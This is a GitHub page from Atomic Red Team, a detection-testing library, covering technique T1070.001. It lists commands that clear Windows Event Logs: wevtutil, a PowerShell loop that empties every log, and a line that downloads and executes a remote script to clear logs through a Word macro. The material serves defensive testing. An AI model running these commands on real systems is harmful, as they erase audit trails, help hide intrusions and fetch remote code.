Sign in

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 4 Actions Wiki Security Insights

atomic-red-team / atomics / T1070.001 / T1070.001.md

134 lines (67 loc) · 3.5 KB

Preview Code Blame Raw

T1070.001 - Clear Windows Event Logs

Description from ATT&CK

> Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.
> The event logs can be cleared with the following utility commands:
>
> - `wevtutil cl system`
> - `wevtutil cl application`
> - `wevtutil cl security`
>
> These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell.

Atomic Tests

Atomic Test #1 - Clear Logs

Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty.

Supported Platforms: Windows

auto_generated_guid: e6abb60e-26b8-41da-8aae-0c35174b0967

Inputs:

Name	Description	Type	Default Value
log_name	Windows Log Name, ex System	String	System

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
wevtutil cl #{log_name}
```

Atomic Test #2 - Delete System Logs Using Clear-EventLog

Clear event logs using built-in PowerShell commands. Upon successful execution, you should see the list of deleted event logs Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.

Supported Platforms: Windows

auto_generated_guid: b13e9306-3351-4b4b-a6e8-477358b0b498

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list
```

Atomic Test #3 - Clear Event Logs via VBA

This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system.

Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error

Supported Platforms: Windows

auto_generated_guid: 1b682d84-f075-4f93-9a89-8a8de19ffd6e

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ato
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.tx
```

Dependencies: Run with `powershell`!

Description: Microsoft Word must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "Word.Application" | Out-Null
  Stop-Process -Name "winword"
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft Word manually to meet this requireme
```